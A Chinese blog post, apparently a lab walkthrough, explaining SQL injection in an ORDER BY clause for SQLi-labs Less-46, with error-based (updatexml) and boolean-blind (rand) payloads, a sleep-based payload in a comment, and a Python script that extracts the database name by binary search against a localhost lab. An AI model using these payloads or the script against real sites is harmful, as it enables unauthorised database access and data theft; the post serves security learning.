SQLlabs46关

看看源码

最终我们的id是放到order by后面了

如果我们直接用列去排序

sql 复制代码
?sort=username/password

username:

passward

可以看到顺序是不同的,当然第一列第二列第三列也可以,基本上都是这个原理,那怎么去实现注入呢,我们主要是通过rand()去实现一个盲注或者报错注入(如果打印报错)

报错注入;真的走第一个错的走第二个我们想走第二个,这样就可以实现

sql 复制代码
?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)

那如果是盲注的话,写true和false排序是不同的,所有我们可不可以用rand去进行排序

sql 复制代码
?sort=rand(ascii(mid((select%20database()),1,1))>114)

我们通过找第一个字段,来爬取判断,为真的话是admin3,因为布尔true=3

python 复制代码
# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/25 16:31
@version: 1.0
"""
import requests
import time
from bs4 import BeautifulSoup
 
 
"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
            res = {"sort": payload}
            r = requests.post(url, params=res)
            html = r.text
            soup = BeautifulSoup(html,'html.parser')
            getUsername = soup.find_all('td')[1].text
            if getUsername == 'admin3':
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli/Less-46/index.php'
    inject_database(url)
相关推荐
曲径海盗10 分钟前
【Python 学习第 55 天】列表基础
python·学习笔记·编程入门
专注仿真20 分钟前
知识问答模型用到的算法集详解及代码实例
python·算法·代码·大模型训练·控制算法
jyOverQ1 小时前
我写了一个 CSDN Markdown 图片助手:告别本地图片逐张上传
python·工具·csdn
刘马想放假4 小时前
CANviz 使用指南|Linux 安装、DBC 解码、实时曲线与 J1939 实战
linux·python·websocket
2601_967987375 小时前
python判断变量名不要调用任何函数实现
python·函数·语法·判断·变量名
卷无止境5 小时前
SALib敏感性分析的python库学习笔记
后端·python
duansamve6 小时前
Python3+Flask+PostgreSQL18+Vue3项目生产环境用docker如何部署?
python·docker·flask
特立独行的猫A7 小时前
少 3 个环节、少 1 次 ABI、少 3500 行代码:cj-tauri 与 Ionic/Capacitor 的鸿蒙桥接机制对比
java·后端·python
特立独行的猫A7 小时前
cj-tauri vs Rust/Tauri 同款播放器实测:编译 21 秒 vs 11 分钟,磁盘 12 MB vs 1.2 GB
java·后端·python
duansamve8 小时前
详解Flask中Session和Cookie
python·flask